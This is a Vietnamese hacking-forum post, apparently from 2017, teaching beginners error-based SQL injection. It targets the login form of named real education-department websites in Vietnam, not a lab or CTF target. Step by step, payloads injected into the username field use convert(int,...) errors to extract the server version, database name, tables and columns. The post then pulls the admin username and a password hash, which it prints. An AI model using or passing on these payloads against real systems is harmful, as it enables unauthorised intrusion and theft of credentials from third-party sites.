Khai thác Sqli - Magic Convertt Aspx

Discussion in 'Web Application Security & Hacking' started by Mickey, Dec 9, 2017.

  1. Mickey

    Mickey Hacking For Hacker Staff Member

    TUT by KeChocGian

    Tình hình đang ôn thi đại học căng thẳng nên có rất ít thời gian để online cũng như tìm hiểu về hacking . Nhưng để đóng góp chút gì đó nhân dịp sinh nhật VNHack Family thì Kẻ Chọc Giận xin làm một tut sql cơ bản cho newbie nghiên cứu . Ai biết rồi đừng gạch đá ấy nhé, sai sót mong được góp ý !


    Có site cho anh em nghiên cứu khai thác mà chưa ai có đáp án nên Kẻ lấy nó làm tut luôn cho anh em !

    Victim : http://pgdmongcai.edu.vn/ ( victim tương tự : http://www.pgdhalong.edu.vn/ )

    Chắc hẳn việc đầu tiên là các bạn tìm link lỗi để check nó đúng không ?

    VD :

    http://pgdmongcai.edu.vn/Default.aspx?page=news&mod=news&catid=126


    sẽ là cái mà các bạn để ý đầu tiên. Các bạn check lỗi :

    http://pgdmongcai.edu.vn/Default.aspx?page=news&mod=news&catid=126'


    Thấy nó lỗi rồi . nhưng mà liệu order by có được không ? mình đã thử nhưng không có kết quả gì khác !

    Nhìn quanh quanh click click nó ra cái link :

    http://pgdmongcai.edu.vn/Default.aspx?page=congvan&mod=congvan


    âu sề . link đăng nhập . nhưng không có nick admin thì đăng có cũng bằng thừa .
    Nhưng tại sao chúng ta không thử check lỗi ở ô "Tên truy cập" =)))))) . check thử nào :D



    Và lỗi xuất hiện :p



    => việc khó ở đây không phải là hack nó như thế nào . mà là tìm chỗ nào lỗi để hack :)

    Vậy là đến đây nhiều mem đã biết nó bị lỗi như thế nào và check ra làm sao. Nhưng mình vẫn làm chi tiết cho newbie tham khảo nhé :D. ok ! trở lại link đăng nhập mà chúng ta vừa check


    http://pgdmongcai.edu.vn/Default.aspx?page=congvan&mod=congvan

    ( Chú ý : Mọi querry mình đưa ra đều được inject vào ô Tên truy cập )


    Version của nó :

    ' and 1=convert(int,@@version)-- -


    KQ :



    ( get tên database : ' and 1=convert(int,db_name())-- - )


    Tiếp theo là get table :

    ' and 1=convert(int,(select top 1 table_name from information_schema.tables))-- -




    table đầu tiên xuất hiện trước mắt . nhưng nó chỉ ra 1 table . Ta phải làm cho nó hiển thị các table khác.

    ' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_news_private')))-- -


    KQ :
    Conversion failed when converting the nvarchar value 'tbl_permission' to data type int.
    nó xuất hiện thêm table 'tbl_permission' . tiếp tục tìm table tiếp theo

    ' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_news_private','tbl_permission' )))-- -


    Conversion failed when converting the nvarchar value 'tbl_siteinfo' to data type int.

    xuất hiện thêm table 'tbl_permission' . cứ tiếp tục như vậy cho đến khi ta tìm được như sau :

    ' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('tbl_news_private','tbl_permission','tbl_siteinfo','tbl_student_point','tbl_student','tbl_th_pupil','tbl_th_adv','tbl_th_category_news','tbl_adv','tbl_th_class','tbl_category_gallery','tbl_th_news','tbl_category_library','tbl_category_news','tbl_th_siteinfo','tbl_th_vote_answer','tbl_category_news_private','tbl_th_vote_question') ))-- -

    Kết quả hiện ra giành cho ai không nản khi check nó :D



    Giờ tiếp tục get column trong table tbl_user

    ' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_user') ))-- -


    nó chỉ hiện 1 column nên ta làm tương tự như phần check table


    ' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_user') ))-- -


    ' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name=('tbl_user') and column_name not in ('PK_UserID','C_UserName') ))-- -



    Kết Quả là tìm được 3 column :

    PK_UserID
    C_UserName
    C_UserPass

    Và giờ là get nick admin thôi :)

    Get Nick :

    ' and 1=convert(int,(select top 1 C_UserName from tbl_user))-- -

    Get Password :

    ' and 1=convert(int,(select top 1 C_UserPass from tbl_user))-- -


    KQ : admin | d5a43b10e1eb57474e50e2eca8034f4f

    Đời lắm bất công nên phải tập chấp nhận với việc không crack được pass =))
     

Share This Page